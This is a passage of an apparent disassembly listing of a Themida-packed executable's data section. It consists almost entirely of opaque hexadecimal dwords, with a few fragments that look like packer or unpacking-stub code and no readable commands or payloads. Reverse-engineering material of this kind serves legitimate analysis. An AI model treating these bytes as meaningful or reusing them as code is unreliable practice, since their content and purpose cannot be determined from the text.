9EDE943h, 0F3EF1216h dd 1562E4B3h, 0D3E51132h, 31520F36h, 0DE54B6Eh, 75662232h dd 15661EDBh, 79A10732h, 47820408h, 0A286B74Dh, 28F8E90Eh dd 0EA07E952h, 963F6006h, 0EA9326F6h, 94383506h, 15668CF6h dd 14E24B32h, 0E9662232h, 0F4EF40CAh, 156249B3h, 0D4E54432h dd 61997336h, 9A3F1516h, 753AAC36h, 9E346C88h, 0AA007263h dd 7439DB82h, 0EABD6EDBh, 1577ADCDh, 5FBF2232h, 0D72BAB87h dd 0E92ED690h, 661E4D9Fh, 0D295BB1Ch, 1495A5B7h, 15668D3Ah dd 1574AD32h, 56D12232h, 0A0734CDBh, 4F9E8049h, 6C6C5965h dd 93FB5AF1h, 31629064h, 4A6C9D7h, 0F0DF1569h, 3C77E273h dd 926948F9h, 1566883Ah, 1564C23Dh, 74062232h, 1562AB60h dd 0C6678832h, 944250B9h, 156626F6h, 19E71E32h, 1A668832h dd 156642BBh, 15ED2D32h, 45661132h, 1566888Ah, 2E186932h dd 0E5671C0Dh, 2A5D6F37h, 4D7E8B0Ch, 1568C03Dh, 1C8F2232h dd 0A1661132h, 6A8A78E7h, 382726BDh, 314FA7B9h, 9B6916C8h dd 15668835h, 1567C53Dh, 0EC9F2232h, 21A384B9h, 73068FC8h dd 0AA6992B9h, 0AF3443E4h, 15661133h, 753C5E1Bh, 0AB4F868Bh dd 1575CB7Ah, 4FD11132h, 666FF1Eh, 94DBE29Fh, 36911CADh dd 3FC1A96Eh, 0A8E5E97Dh, 129C65F7h, 30E22D33h, 0FC661135h dd 15668834h, 5CDDC7Eh, 0CD5DE5EFh, 1547933Dh, 2E9F8832h dd 0B3E04BE8h, 0FC662233h, 15661121h, 12CCFE8Dh, 0F784E5F8h dd 0D53D817h, 676E34DAh dd 9C2098DCh, 0EF43A987h, 9E004235h, 0EFED77C3h, 0A1FB0353h dd 756E45C1h, 3D6BC1B3h, 188E6B25h, 44668832h, 0C8AE0843h dd 0AEDF2BDh, 88054E39h, 156686DBh, 0D1499032h, 238992EDh dd 7359ED40h, 4C4979A2h, 156DAD53h, 0F7042232h, 64CE3D97h dd 0A9B8D857h, 0FDDF15B2h, 3C6A0423h, 4C76357Eh, 1942D433h dd 194200B3h, 194033DAh, 156BF852h, 0FD998832h, 675D2BF0h dd 420D76FDh, 94BB56F6h, 0B2FE7AE9h, 7C8F2513h, 1A662234h dd 156603B0h, 156B6132h, 0DF854432h, 0FABECA07h, 40E611BCh dd 9EB21B51h, 9C31600Eh, 11A1A3D5h, 96661132h, 29E18CF5h dd 9E061816h, 0E1B1A3C3h, 7445599Dh, 34A30DF5h, 156743C8h dd 1A9E2232h, 156610B8h, 9ED7D32h, 0F4EF1516h, 1562E3B3h dd 0D4E51132h, 316A0F36h, 0AF00246Eh, 58E89FFh, 0D2661132h dd 0B3B2B2DAh, 64BEBE84h, 4426CF07h, 94D3E94Bh, 7C390AD1h dd 1A071E2Ch, 156625B3h, 14E51E32h, 0ED668832h, 404248B9h dd 0D0E7C7BBh, 15661136h, 92624DB1h, 1A3A601Eh, 156635B9h dd 1574F832h, 0CD5D8832h, 869A627Ah, 0AEFB550Dh, 0F93172CBh dd 9A255586h, 464270B9h, 0D6E7C1BBh, 15661136h, 15624BB3h dd 9E14432h, 1A067E16h, 156611B7h, 9C30E932h, 11A0C5D4h dd 96662232h, 21E115F4h, 31420316h, 1567C93Dh, 0FC9A2232h dd 0EA99C4FEh, 9C69E8CEh, 15664430h, 92694352h, 15661132h dd 78DB0B53h, 1461BE13h, 1030A63Dh, 3E9E1132h, 0EF42A1AFh dd 1560AD35h, 0F332232h, 9A109B99h, 128F05B9h, 926943C8h dd 1566223Eh, 156616DBh, 0CBE71232h, 3DFFF111h, 6E5CE3B3h dd 0FCE75714h, 1D92D263h, 0D4E79D33h, 1D927863h, 6E5CF8B3h dd 7306CE14h, 0A6C7AAB3h, 11DB7753h, 3C044E57h, 0EC4FD5DBh dd 706285B3h, 949F406Dh, 156615DEh, 315A0132h, 1566418Dh dd 4A9F0B32h, 7378A1CEh, 0E3A00060h, 7396CCE4h, 19950E68h dd 0FC9D1590h, 15668834h, 524EE0BDh, 0FCCC1793h, 15661123h dd 0AE19F037h, 4FFA88A1h, 834CFED1h, 377BF28h, 1A06E8B3h dd 156644BEh, 15E52D32h, 74661132h, 4436E9CEh, 964240B9h dd 0FC3F26F6h, 1566113Eh, 0C73520BCh, 1A3350A0h, 0FB450B99h dd 0EEED7752h, 1560053Dh, 98694432h, 15662232h, 9F69BA53h dd 1566882Ah, 156657DBh, 6D0FD432h, 434422E1h, 0EE189B49h dd 5AD74F5Bh, 13ABDDDh, 1562FDB3h, 29EF8832h, 9481CD16h dd 156626F5h, 11A19232h, 4942B4B5h, 156DAC52h, 0C96A2232h dd 0AAD69E8Fh, 6F6DB4EAh, 15E14BDEh, 4E662232h, 74B6F8B2h dd 4E42BCCDh, 156280B3h, 138F2232h, 661132h, 83156803h dd 316ACF03h, 9484AB60h, 156615F0h, 11A40932h, 92664432h dd 0E93A0626h, 156602DBh, 2EC3C332h, 20F516C2h, 46AE30F5h dd 4535F7C0h, 2CD9DF6Eh, 404270B9h, 0D0E7C7BBh, 15661136h dd 92624DB1h, 0FC3A601Eh, 15662238h, 410FABFBh, 24562BEFh dd 9D0EE907h, 9C662244h, 0F4EF353Eh, 156249B3h, 0D4E54432h dd 316AA536h, 1569F86Eh, 0D6098832h, 0F97E2DE4h, 0A744D5D5h dd 0FB271465h, 156E6197h, 0C80B4432h, 59F06670h, 5D8F86D5h dd 1A9977E5h, 156655B9h, 74064232h, 156616DAh, 0DF982A32h dd 48014DF0h, 1A06436Ah, 156617BEh, 15E98732h, 73664432h dd 0E43BEAB3h, 0A1E3D653h, 176E89C1h, 1A664432h, 15662AB5h dd 0D9E67132h, 0D1850878h, 0E4EF1553h, 19EDE9BBh, 11A29216h dd 80A53352h, 0A2690179h, 0A36943EDh, 14E51E3Ch, 0E9668832h dd 1AE6BDB2h, 156643B1h, 156AF832h, 8EA38832h, 116F6587h dd 0F1E1448Eh, 0D6E78009h, 5EBE9D35h, 7F94AFB3h, 0DE6759A1h dd 7F94D2B3h, 0FEE7F3A1h, 5EBE5135h, 156631DBh, 3A2DF932h dd 39C5B1E7h, 7EC6D53Ch, 52819EA1h, 1A236434h, 31620B61h dd 0FC9E1F33h, 1566224Dh, 15661CDBh, 26FC6C32h, 4B17B7E9h dd 90C9466Fh, 0A7347BA8h, 10844866h, 4561A6F2h, 0FDA66982h dd 0EB57353Ah, 1566BCFAh, 0C44E1CF0h, 0C491D768h, 0FC67D0B1h dd 15668821h, 0E9189EF2h, 2EEEA9B9h, 65D85087h, 376A545Fh dd 4200A85Bh, 2EE29C64h, 6ED97E96h, 14F6D3F7h, 0EC471AC5h dd 0AD36D76Dh, 46FD27EBh, 3C3E4B33h, 0CC8DC5F9h, 0FC35B904h dd 15661139h, 0E36962F3h, 0C3F3A93Ah, 9EBC56E9h, 0EF4238B7h dd 1DE78735h, 1A664432h, 156620BFh, 9E077132h, 0EF524DA7h dd 156CAD35h, 5D172232h, 0FEEA188Bh, 0D2830FAFh, 0EA9C85DBh dd 156FCBCDh, 2C7B1132h, 1B1641A9h, 0D277713Fh, 149596B7h dd 1566133Ah, 1EE18732h, 75664432h, 37269954h, 0DB949054h dd 0F70EE92Ch, 9C664447h, 753D0606h, 156618DBh, 246C4D32h dd 9F5459FDh, 9D696DC5h, 15661131h, 745556B2h, 1BD04BCAh dd 0B38DA352h, 73062E9Bh, 747E3E88h, 1AE6BDB2h, 15665AB1h dd 1577F832h, 81778832h, 8A08BDCEh, 0BF30B1F7h, 6FFE84D5h dd 0E9C9EF49h, 3BB7FE60h, 0E7E76471h, 2FF83FCFh, 946462F3h dd 0CE1F2CD0h, 2194A35Fh, 3C5C9C74h, 0DE67D2E1h, 135A87B3h dd 0FC0615ACh, 1566113Bh, 3832312Fh, 7DE6F92Dh, 1BDC4498h dd 0A833701Eh, 0EA9977CDh, 0FC3BAF1Bh, 1566223Fh, 0F28F0C36h dd 75705698h, 30FEB22Dh, 15E4CBCAh, 94691132h, 15668833h dd 0D2D416CAh, 95B1D0B2h, 0FFA62BD8h, 0AB8C0831h, 951586B2h dd 0D4E612F0h, 95B73956h, 0EC3CECDBh, 0E29FC37Bh, 759FA5E5h dd 954EC4B2h, 45073CF9h, 1809F68Ah, 69DD7137h, 343F7631h dd 0BB43D3EAh, 2004841Ah, 44027C57h, 0B7DD147Ah, 0D44726A9h dd 1A8E246Ah, 7A662232h, 0EC961931h, 0F71CB188h, 8FEBBE7Fh dd 0CD30FD0h, 0A833706Dh, 47CA9F57h, 3C3BAF1Bh, 70A5A3F9h dd 0E034BD25h, 314F0DB9h, 986943C8h, 1566222Ch, 15E11E52h dd 0FC668832h, 15664423h, 0EABD4DD0h, 7CBCCC87h, 8FA93086h dd 0AD64C29Eh, 80ED43AFh, 129C25F7h, 156A61CEh, 55C24432h dd 0CC63BD9Ch, 0B1FA27C3h, 0A8E577D5h, 129C655Fh, 0E4E22D33h dd 0EC99EEC4h, 97695009h, 15664417h, 15662ADBh, 9632F632h dd 0EC6FE4FEh, 1AB57D83h, 0EA8B95B4h, 0D2E671CDh, 10E2878Dh dd 73664432h, 0C550F8B3h, 52DE4153h, 0D415F150h, 0C59143D2h dd 0B5270317h, 0AAB82409h, 0D36774CDh, 0E84B6Ah, 0FC662232h dd 15661122h, 4559DE3Ch, 0C1011E5Ah, 9FEAF06Fh, 8D280D33h dd 156687DBh, 3F14A32h, 61E7320Dh, 9ADFF7CAh, 0B6E1734Eh dd 3162C564h, 26662B8Dh, 94421DB9h, 15668CF6h, 0AA8FC532h dd 0EC55223Bh, 2EC9D0B3h, 0EC4FF274h, 2EC9FB65h, 0EC4F5874h dd 7306716Dh, 705A7EB3h, 4607BD53h, 7078AA89h, 98959038h dd 3C6CED2Ch, 188F1FEBh, 57662232h, 0F0602603h, 15337F22h dd 82A06773h, 73989363h, 1DD9A162h, 0EB3EEEF3h, 168F84F3h dd 0D4E6E3CCh, 4CAE99DAh, 15780D3Dh, 9F694432h, 1566222Ah dd 156602DBh, 0C0A13632h, 0B00698D3h, 1E4EAA10h, 94FD6034h dd 98E3C0FFh, 13EA4B98h, 75662232h, 0ED9CAE3Dh, 118A0B53h dd 444240BBh, 78F7B6Ah, 50661132h, 0DB37A735h, 0AF26F418h dd 86A44618h, 28236297h, 0FC9323DEh, 0EA999731h, 156AA43Dh dd 98691132h, 15668834h, 1566C23Dh, 0AC372232h, 15661132h dd 0AF347933h, 15664432h, 17ECE833h, 1A8F4868h, 0B8668832h dd 85E1D605h, 2F99B85Ah, 22B725A3h, 1D8F6F94h, 0C3664432h dd 797BFB2Bh, 2905B8DAh dd 5EE287DAh, 0FC664432h, 15662223h, 9A3DCF1Bh, 5C2D3A3Ch dd 3954B345h, 856BBDh, 59D847E9h, 0AD27C426h, 542A507Eh dd 21EDD21Bh, 11A29016h, 0FC668832h, 15664439h, 170A6D0Ah dd 309093A4h, 0FC0FF784h, 15664551h, 156627DBh, 1EE85932h dd 9C35DF4Eh, 11A5C5D1h, 96662232h, 9E115D9h, 9EFD416h dd 1DE54B16h, 75662232h, 1566923Dh, 43078832h, 944258B9h dd 156626F6h, 1C8F7132h, 89668832h, 68AC5FF0h, 5BDFD516h dd 9B697153h, 15668830h, 1B8F1D60h, 70662232h, 0FE21233Ah dd 0BC154FCh, 539D992Eh, 4634433Ah, 0F7D985Ah, 0D6E7D318h dd 0C083A04Ah, 143DF8BBh, 4F7C12C0h, 156681DBh, 0BD8AEF32h dd 41123F03h, 0AD363C8Ch, 15668837h, 11ED8733h, 11A2A316h dd 0ED661132h, 74C03852h, 3CD61463h, 0A53EE7BAh, 4C8E21F3h dd 15668EDBh, 416D6232h, 0BF11E635h, 3D946CEh, 0D41D1450h dd 0C2914CDDh, 2F9FD5B3h, 0EE67FF0Bh, 949DA16Dh, 0A83F20D9h dd 0A833DA23h, 15661136h, 2BC4BB3h, 0FE4F1DCEh, 2BCC9B3h dd 1A3B48CEh, 156689BFh, 9369BC32h, 15662235h, 0FCE77752h dd 240793F2h, 24A575EAh, 0FCCDDBEAh, 1566113Bh, 27E947E1h dd 0B614C3A6h, 3152DD2Dh, 11A29069h, 0FC668832h, 15664435h dd 790100D8h, 0E9F493E8h, 10DDDB65h, 9C664432h, 0EB6779EDh dd 14E91E6Dh, 0E9668832h, 0B80E16CBh, 9E09D94Ch, 0D1E53526h dd 0B9940936h, 9C09BF4Ch, 986978E2h, 15661139h, 0C3EDEE52h dd 0BB9BB3h, 0D6076964h, 16EF1E52h, 73668832h, 460782B9h dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h dd 1ED1E16h, 0FC668832h, 1566443Dh, 0B6E8B2AFh, 306392E9h dd 60A43631h, 736D85EBh, 460014CDh, 7A41AA54h, 313AB954h dd 733D2230h, 3253446Ah, 0D65AED5Dh, 143A0C3Dh, 92694432h dd 15662222h, 15661ADBh, 0B61CB832h, 19976B95h, 9E066013h dd 9169DA0Eh, 1566890Ch, 17EA4B52h, 75662232h, 1A07E853h dd 156696B4h, 95692432h, 15662232h, 156600DBh, 0EEF55032h dd 5CB74A5Eh, 2EBFED7Fh, 0D1725206h, 29077910h, 5EE24BF0h dd 0E0662233h, 9169DB0Eh, 15668970h, 1547C53Dh, 0FD062232h dd 15661121h, 34B25344h dword_60AA68 dd 0E4C0ADC8h, 1991A3D7h, 0F643345Dh, 4A6AF923h, 0F1458EB3h ; DATA XREF: Themida_:0059ACFCo dd 73072BA8h, 1A43EE0Fh, 1567C7B6h, 156CAD32h, 2DCB2232h dd 3D2FE34Eh, 0BE485D80h, 0EA487954h, 1507A73Dh, 78F1132h dd 6D668832h, 9B402E95h, 87CCB1ABh, 0AD87886Eh, 526165C0h dd 17DF15D4h, 14662232h, 15DC43C3h, 14668832h, 4F64CEF8h dd 156FCB6Bh, 59921132h, 0E40C50CFh, 47FDE4D3h, 0F7E68980h dd 0A5D142D2h, 353D721Ah, 29931EE2h, 22E22D92h, 0FC661133h dd 15668839h, 61D36039h, 0D395783Eh, 0EA8A70D5h, 943FAC06h dd 156640F6h, 14E52D32h, 0EC661132h, 27683567h, 0D8E74F9Dh dd 66E15DABh, 45B3E677h, 0A352B78Ah, 4CCB6952h, 1D6B2B5Fh dd 0E26C7829h, 4EA2BDE2h, 0D0679F0Bh, 488EAB6Ah, 14FFF8CEh dd 1E8F8832h, 0B664432h, 250E54BFh, 0FB5D9AFEh, 0DC57994Dh dd 15664ADBh, 8E1EC332h, 0FD7ACA0Ch, 0BAFC300Bh, 474CA529h dd 15662388h, 4FB71032h, 16EB8752h, 95664432h, 749A52C6h dd 1566D6DBh, 15696132h, 91014432h, 0E393C48Eh, 8B221B84h dd 9069C763h, 160EB808h, 9E662232h, 0D1E5353Eh, 1C8FE836h dd 0C664432h, 0C09B41CDh, 0A87D3A3Dh, 156F6061h, 10BA4432h dd 39D7748Ah, 4CA6CE26h, 948FE96Dh, 0FC664432h, 1566223Ah dd 0FF4BB07Dh, 6CC7EBF1h, 86129D8Bh, 9487F318h, 0A56812DBh dd 94BF7F27h, 4A2CC9C3h, 6797A312h, 47358C47h, 0A4714B88h dd 10848547h, 4AA4C0B3h, 0D7E75258h, 5FF4042Ah, 753C9533h dd 0DAE7F3B8h, 4B739070h, 15546153h, 75064432h, 1566AA3Dh dd 0D7E61132h, 0A269E9B2h, 0F9E725FCh, 15662236h, 0A8423DBBh dd 15668835h, 753BADBBh, 73B69D3Dh, 0F926DAB3h, 14E98753h dd 0ED664432h, 9E9E86C1h, 0EF52D4BFh, 48FE835h, 0D664432h dd 0F26317ABh, 0FC97F344h, 0C98C5491h, 18B62591h, 0D9F49D54h dd 1AAF9453h, 1566AEB7h, 1DEB4B32h, 75662232h, 1566913Dh dd 9C078832h, 0EF528187h, 19E22D35h, 1A661132h, 15668EBBh dd 15E94B32h, 0EA662232h, 963F3506h, 1A9E8CF6h, 156656B7h dd 156BCB32h, 0B6811132h, 1783A0F0h, 1B350027h, 4714DF9Ch dd 15661088h, 9EB60132h, 0D1E56026h, 19E32D36h, 0FC661132h dd 15668835h, 426F16A4h, 0D67C2470h, 156E943Dh, 94698832h dd 15664430h, 0EA004352h, 39E77704h, 73080216h, 7335226Ah dd 7308A889h, 4E00C933h, 15669ADBh, 0F73C3132h, 2B7C645Fh dd 7BC0ADF6h, 0F24EB3Ch, 29533B80h, 0C5E22DF1h, 1A661133h dd 156682B6h, 9E692432h, 15662232h, 4707DAB9h, 0E6EE4EBAh dd 964250B9h, 459E26F6h, 0D1E66B86h, 95B27EB4h, 0D1E66CD6h dd 39D17168h, 9592D6B2h, 0C290BFD5h, 1517ABB2h, 0F64679CEh dd 7306716Ah, 0A10772B9h, 959F2542h, 916952C9h, 15661524h dd 17E28752h, 0A4664432h, 1E8F7482h, 71661132h, 88088FFCh dd 0A5B02C5Eh, 743D956Eh, 9169F80Eh, 15668969h, 157FC33Dh dd 18F2232h, 0E0661132h, 0C31B1457h, 0BE6C9301h, 7748328h dd 0A6BDE257h, 29D68E2Ah, 21E24BD9h, 1A662233h, 15660BB2h dd 1E48732h, 0FC664432h, 1566223Dh, 1003855Ah, 6D73A665h dd 10BB6ADDh, 295630ADh, 19E21EF0h, 0ED668833h, 91698F0Eh dd 15662331h, 15679B3Dh, 739A8832h, 1A43BB0Fh, 1566D0B6h dd 1572F832h, 0ECE78832h, 37DD544Bh, 498097FCh, 9E23789Fh dd 0FA1F26C0h, 750646ABh, 1A9BE4B2h, 156611B4h, 9400E932h dd 74F0D7E9h, 9169E80Eh, 1566118Dh, 15680D3Dh, 1C8F4432h dd 68662232h, 0A1EE6FFCh, 0C950BBBh, 9169A70Eh, 15662108h dd 1567963Dh, 739E8832h, 1A996A0Fh, 156666B7h, 670EE432h dd 9C668815h, 17DC6026h, 14662232h, 4F649BC0h, 0C7D98752h dd 453525CAh, 0D2EED282h, 4E9E316Ah, 0D3EDEE52h, 29071C60h dd 75E22D92h, 1A661132h, 156689BEh, 9406BC32h, 4D7D7FFCh dd 0C5ED774Dh, 2FD8DE53h, 945A9F46h, 2B7791C4h, 1788D043h dd 94636EF3h, 254D9FFCh, 2580A311h, 473BE310h, 27449888h dd 4FB0757Fh, 0FC38D2BBh, 15661139h, 61274309h, 0EE08190Ah dd 0FCD801CBh, 15661145h, 156F0B3Dh, 1A064432h, 156622B0h dd 9C07E932h, 0EF524D87h, 14EF4B35h, 0E0662232h, 0AE5E8CBFh dd 1B8F8032h, 3B664432h, 42397DE5h, 0A0A46FFAh, 3D3BF2F0h dd 0EDB5BB34h, 1562CEB3h, 9EF1132h, 2EFA3316h, 88DE1959h dd 3C3B4909h, 91694AEAh, 1566882Bh, 156650DBh, 16E1B932h dd 78760A12h, 3DC9594Eh, 0E42C399Ah, 0AB91D1F3h, 0DAE671DCh dd 0F4E7EE85h, 0D607E3AAh, 156632DBh, 71B47432h, 4CB9CD8h dd 1A3E25A9h, 0C74ECBC6h, 0F2EF469Bh, 15624FB3h, 0FAE54432h dd 315AA536h, 3162986Eh, 15668DDBh, 0AF3B2832h, 6399D697h dd 31629A22h, 15624CB3h, 96694432h, 15662233h, 0D0E398C7h dd 1A61721Fh, 156645B8h, 1E8FDB32h, 0F3661132h, 466045ADh dd 86656C42h, 11ED1046h, 0F4EF4016h, 156249B3h, 0D4E54432h dd 316AA536h, 0A833ED6Eh, 1566882Eh, 679382B3h, 0FB67133Eh dd 6793FFB3h, 0FC3BB93Eh, 15664423h, 492F0CD1h, 55FE3A2Ch dd 0B0423320h, 6AF1790Ch, 0DEE2D72h, 0FC661132h, 15668821h dd 0BE5FC981h, 44F30491h, 923C9946h, 1B94A35Ah, 98C3D28Dh dd 0EF53038Fh, 1DE51E35h, 75668832h, 1ABFCF54h, 7507D58Dh dd 749D9A54h, 0F34B7D9Fh, 10395934h, 48FF5253h, 31425531h dd 8C16E91Fh, 1380416Fh, 78F7D2Fh, 26661132h, 68155516h dd 78947C21h, 5AF33E64h, 3FDA3931h, 15636144h, 0B9A64432h dd 0BE80C1B6h, 0FCDB9CCEh, 1A617222h, 156645B2h, 0FCCBD732h dd 1566113Eh, 0EE72B0A7h, 2B1F6B0Dh, 13EDCB9Bh, 156E9C3Dh dd 9B698832h, 15664430h, 0A8334352h, 4E9E2E4Eh, 942355C5h dd 5121DAFFh, 9483F337h, 37E9A7F7h, 488EA1E5h, 31420031h dd 0A778D637h, 9E007113h, 0EDD187F8h, 0F7EF1653h, 1562E0B3h dd 0FFE71132h, 15668836h, 494250B5h, 0FC4226BBh, 15661135h dd 107E4013h, 0BE1B06DEh, 156DA63Dh, 138F1132h, 0EE668832h dd 0A4939788h, 0DBAF03h, 0EC61EB1Ch, 48F7D9Fh, 4F664432h dd 0C6955FA1h, 0DF83712Eh, 5CBA10B5h, 0CA14EF50h, 4A07471Fh dd 3122124Dh, 4BDBDD1Ah, 0D41D1F09h, 0C89120DFh, 6A1DDCB3h dd 9423C0B8h, 597853DFh, 488E2358h, 9A69BACAh, 15668828h dd 0C5E72252h, 188E5CD1h, 22661132h, 0B20F37B5h, 51C55537h dd 0CDDB85E3h, 21ED706Ch, 0F4EFD916h, 156285B3h, 0D4E72232h dd 15661136h, 494284B5h, 156CC23Dh, 1A062232h, 156611BEh dd 749C0332h, 9C36B8F1h, 156227D2h, 114B1132h, 92668832h dd 9C3A6036h, 9A690606h, 15661136h, 74A73C52h, 0AF20D9BFh dd 92692A32h, 1566113Eh, 15600B3Dh, 97694432h, 15662232h dd 15661ADBh, 0C1AD0832h, 65DD0AA3h, 79E3292h, 9669C2CDh dd 1566883Eh, 1560C73Dh, 96692232h, 15661132h, 156680DBh dd 6D9C1232h, 0F7FB1EF8h, 0E9C9F8F4h, 0DFFCFFCDh, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 0D1DEC0D5h, 0ED96AA44h, 8A152AA8h dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh dd 8660D554h, 2559D7BAh, 8B422ACEh, 32DCF14Dh, 82147D83h dd 0EDD871BAh, 8A42C3A8h dd 0DDAEA245h, 8260D558h, 0FF4138C8h, 7462255h, 0A90675DFh dd 3C6D55Ch, 92B85E00h, 75152A54h, 0DDAEAE30h, 968FA75Ch dd 0FB59A312h, 0DDC2B0D9h, 7BAEAA44h, 63E96FDDh, 0A851A258h dd 75195FABh, 32DCAA30h, 82147D7Ch, 7FCB2F16h, 751D2B03h dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h dd 8D8D0000h, 8015DC0h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0FBC35040h, 0F3BF0F62h, 0D98D89F9h, 6A07FA1Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 9FF9C356h, 5EE0A6E6h, 0E05277BEh, 4D77BA60h dd 89613469h, 0FA0D4DB5h, 0AD85C707h, 6C07FA31h, 6A00005Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 978EC353h, 0ED953196h, 6607FA16h, 3F2AC381h dd 2BD985C7h, 7FAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8960BBC3h, 0FA08D195h dd 0E6816607h, 8961720Fh, 0FA30B5BDh, 0DE907h, 513D0000h dd 50CB1C6Ch, 94561504h, 0FFA09A9Bh, 0FA16F1B5h, 61BD8B07h dd 8B07FA08h, 0FA0CB595h, 9995FF07h, 6A07FA17h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 78ECC355h, 0E821B27Ch, 89D9ED04h, 1485B589h, 0BF0F07FAh dd 0FF006ADFh, 0FA101995h, 0EBC08B07h, 0DBD3400Bh, 90D17753h dd 87514672h, 3BE9h, 0BD8B6000h, 7FA1785h, 8304EF83h, 0A4F305E9h dd 5203CB8Bh, 32567C59h, 0EE730EB1h, 0C300A5F5h, 26BFC384h dd 735657B1h, 7D3256B1h, 0D23BF969h, 1AD8AD2Eh, 55E467B0h dd 6C3BF84Dh, 32565A58h, 551AB8B1h, 0E9835FD7h, 0B0A4F305h dd 0F29D11F1h, 2375FD7Ah, 0DB9917FBh, 0D525F57Bh, 0ADFDF53Fh dd 9F749BADh, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah dd 0B1987C27h, 0A07DFC12h, 8313A3FFh, 0A4F305E9h, 0BD8DDB8Bh dd 801F3B8h, 7DB68D8Dh, 44B80802h, 2B321566h, 2E9C1CFh dd 0C8D00731h, 4904C783h, 6E9F675h, 0B5000000h, 39D1DE7Fh dd 66F86067h, 611116B9h, 82BA5250h, 2971803Ch, 5A042454h dd 3C820558h, 880F7180h, 8, 2850Fh, 61600000h, 2ACDBD83h dd 750007FAh, 99BD8309h, 7FA18h, 53501974h, 11B8C08Bh dd 89000004h, 0FA158185h, 8B9D8D07h, 0FF07FCE2h, 83585BD3h dd 0FA1899BDh, 17740007h, 11B85350h, 89000004h, 0FA158185h dd 2C9D8D07h, 0FF07FCDFh, 0E9585BD3h, 14h, 9682F6B9h, 48252802h dd 2E69E46Dh, 0B38893F7h, 9E666597h, 0FE9h, 4E1C0100h dd 0FF59CD98h, 0F4691AA3h, 45390FD3h, 24048B50h, 0E904C483h dd 0Ah, 8B9A8C42h, 0EE6F0FD9h, 8DF8482Bh, 2820F8Dh, 3D9D8B08h dd 8907FA0Dh, 0FA1CD98Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 19A2DFE6h dd 0B966608Dh, 14E8D4FDh, 52000000h, 45D513C8h, 79FFEF2Fh dd 755FCDEEh, 26FCABD4h, 60CB6678h, 0C7615B61h, 0FA31AD85h dd 5D1C07h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 9C9CCEABh, 2952600Ah, 0FA23A58Dh dd 8D8B5B07h, 7FA2545h, 34E88061h, 2BD985C7h, 7FAh, 0D08B0000h dd 2EA9B5FFh, 8B6607FAh, 9995FFF7h, 6A07FA17h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0A8A1C356h, 78812CACh, 2840F3Bh, 0B7000000h, 0FF006ADEh dd 0FA101995h, 0EBC08B07h, 2FE6C66Eh, 6E3FB446h, 44CF6205h dd 7B9A1C4Dh, 314BDA47h, 125C9D5Eh, 0ED373EDFh, 6C9C7E7Ah dd 11D9E5B9h, 0A8323B2Fh, 91FB8687h, 0BB62790Bh, 0EC987754h dd 28E3C667h, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh, 9E72580Eh dd 0C2AECD37h, 456E7F85h, 254467CAh, 0C63062ECh, 3A8F4756h dd 63842C01h, 0FE2723B0h, 0C8762D75h, 0B0BBB57h, 0E9496E3Bh dd 0EDh, 0D88C6660h, 840F04A8h, 0DFh, 2AA9B58Bh, 0FE8307FAh dd 22850F00h, 0C6000000h, 0FA066585h, 69684507h, 0FF8E7269h dd 0FA08A5B5h, 0DD858D07h, 0FF07FDA3h, 0BD8589D0h, 8B07FA0Eh dd 0E93E80F0h, 31850Fh, 858D0000h, 7FFB5DFh, 0BD8BD0FFh dd 7FA1505h, 1184C781h, 0B58B0000h, 7FA2AA9h, 8B9F787h dd 0F3000000h, 0A9B58BA4h, 8D07FA2Ah, 0FDD76185h, 8BD0FF07h dd 0FA0649B5h, 0FE8307h, 22850Fh, 85C60000h, 7FA0665h dd 0BEF46854h, 0B5FFFF4Eh, 7FA08A5h, 0A3DD858Dh, 0D0FF07FDh dd 6498589h, 0F08B07FAh, 0FE93E80h, 3A85h, 49B58B00h, 8D07FA06h dd 0FFB5DF85h, 8BD0FF07h, 0FA1505BDh, 84C78107h, 83000011h dd 0B58B08C7h, 7FA0649h, 8B9F787h, 0F3000000h, 49B58BA4h dd 8D07FA06h, 0FDD76185h, 61D0FF07h, 87858DC3h, 89080282h dd 0FA0B1D85h, 22E907h, 0F6810000h, 6076h, 7 dup(0) dd 4EDE9h, 84CF6800h, 3DE90802h, 68FFF7FBh, 802852Eh, 0F7FB33E9h dd 869368FFh, 29E90802h, 71FFF7FBh, 16C3F9A5h, 0BF6CA2FCh dd 65124856h, 11BEF4AAh, 34689E00h, 2579987Fh, 0CCD242EFh dd 7727E996h, 1F7F9441h, 0A6C21AE9h, 7E90643h, 1E730B71h dd 0F51EA9F5h, 6AA7984Fh, 3F7AA434h, 0E1BD57DAh, 0C1477E67h dd 9C1637Eh, 4EF45D9Dh, 0E1BD56BBh, 53BE13ABh, 0F197C04Bh dd 0D767F990h, 0E0B319BBh, 0FD3DBD07h, 0E0927EE1h, 0DF4BA407h dd 7E0927Ch, 0A0FE15AAh, 1A83EC15h, 91FC638Fh, 850607E0h dd 9E8CC4CBh, 0DC2A406Eh, 0BB000002h, 0CEBB657Bh, 98C20292h dd 1A60061Dh, 54C86EDCh, 7E0DB52h, 6D972780h, 355C5D19h dd 9EE38945h, 46A54C3Ah, 59078205h, 39B74C9h, 0E7A9C55Dh dd 7C028068h, 58BD203Ch, 8AE3FD4Ch, 0B2429BE4h, 70EAB45Dh dd 0F5041EC1h, 10A349EBh, 3ECE92F7h, 46209D22h, 5EEE4705h dd 516D0A09h, 0FA85DAEEh, 1C52BB14h, 57BEA46Fh, 2A93BC47h dd 3931A6Ch, 